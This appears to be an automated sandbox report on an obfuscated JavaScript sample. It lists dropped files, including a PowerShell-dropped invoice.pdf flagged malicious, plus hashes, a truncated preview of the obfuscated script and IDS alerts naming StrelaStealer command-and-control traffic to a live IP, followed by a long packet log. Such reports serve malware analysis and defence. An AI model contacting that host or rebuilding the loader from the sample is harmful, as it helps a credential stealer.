Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ca73e720-6ded-49ce-b404-45c5a5676d46.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f02faca5-c50e-427a-a5ec-54c7491b3945.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17934), with CRLF line terminators
Entropy (8bit):	4.904716001030055
TrID:
File name:	16267239851350230287.js
File size:	21'477 bytes
MD5:	453b6ba4b42beb912f1ef30058968d1a
SHA1:	7ccbca123d54d1e1f47ace513a75dd3372c4c558
SHA256:	7199a2be0771eef0e279c3e5df709f2bac4d93dbdc09d0425ff9fb641f6054d7
SHA512:	325af6b9410423c0e5d91900adee43e49e0bdcda573ec2fe97f1050c132dabb3334c9bf2fdedffa0596516c8cb9199099d4c8ebeebb59c3099c942b6c6ea728e
SSDEEP:	384:kiOjRCr1+arCWilzOjRCrpPrvOmPktDAwrcw3TPZpGiSJzv1FLdG33ysFSSty44s:h190z1xjiSJzjLdJsF4YPKjBmd
TLSH:	0CA24DC4E0C6BA36DCF445F411FC419A1E44416CCDD8A6CAB1370696AF847B866EBCBD
File Content Preview:	function bmynpody(){ugzmmzojm=[1031,3079,5127,4103,2055,3072];var zxfsfot=this[fsnbq+zrpze+zxsuassvm+jptyt+gsrofzhiy+kutdn+kdflepg+vgctinzf](this[wfldbm+xxqva+acmxhh+zxsuassvm+ydqyrg+fsnbq+vgctinzf][voszmteiq+zxsuassvm+gsrofzhiy+zrpze+vgctinzf+gsrofzhiy+g

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:18:37.330904+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T05:18:37.330904+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T05:18:39.634151+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:18:36.542845964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:36.548448086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:36.548542976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:36.551141024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:36.556638002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.330817938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.330848932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.330868959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.330887079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.330904007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.330908060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.330929041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.330967903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.330967903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.331106901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.331125975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.331146002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.331166983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.331202984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.331233025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.335834980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.374286890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.374305010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.374470949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.459384918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.459403992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.459414959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.459427118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.459440947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.459454060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.459460020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.459644079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.460186958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.460201025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.460215092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.460227013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.460238934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.460241079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.460254908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.460273027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.460290909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.460290909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.461558104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.461570978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.461585045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.461596966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.461611032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.461662054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.461662054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.463387966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.463401079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.463413000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.463427067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.463439941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.463460922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.463498116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.505655050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.505675077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.505688906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.505767107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.505767107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.545633078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.587236881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.587857962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.587874889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.587897062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.587910891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.587920904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.587929010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.587939024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.587951899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.587955952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.587997913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.588296890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588310003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588321924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588332891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588340044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.588346958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588355064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.588392019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.588829041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588840961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588859081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588872910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588879108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.588890076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588903904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.588911057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.588938951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.589605093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.589617968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.589631081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.589644909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.589658976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.589660883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.589674950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.589694023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.589715004 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.590456963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.590470076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.590481997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.590495110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.590509892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.590521097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.590524912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.590538025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.590578079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.591300964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.591331959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.591356993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.591372013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.591375113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.591392040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.591408014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.591414928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.591474056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.592171907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.592189074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.592200994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.592215061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.592228889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.592228889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.592247009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.592252970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.592289925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.593008995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.593023062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.593036890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.593050003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.593060970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.593082905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.593101025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.630992889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.631007910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.631036043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.631267071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.631282091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.631294012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.631303072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.631331921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.674814939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.674854994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.674957991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.716350079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716365099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716376066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716456890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.716649055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716662884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716677904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716697931 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.716712952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.716881990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716900110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716912031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716922998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716933012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.716937065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716953039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.716967106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.716995955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.717713118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.717726946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.717740059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.717751980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.717761993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.717767954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.717782974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.717796087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.717819929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.718571901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.718584061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.718590975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.718595982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.718602896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.718609095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.718661070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.719409943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.719422102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.719434023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.719445944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.719460011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.719470024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.719472885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.719495058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.719517946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.720294952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.720308065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.720319033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.720331907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.720341921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.720349073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.720360994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.720365047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.720407009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.721108913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.721122026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.721132994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.721146107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.721158981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.721172094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.721174002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.721191883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.721219063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.721976042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.721987009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.721998930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.722012043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.722026110 CET	80	49710	193.143.1.205	192.168.2.6
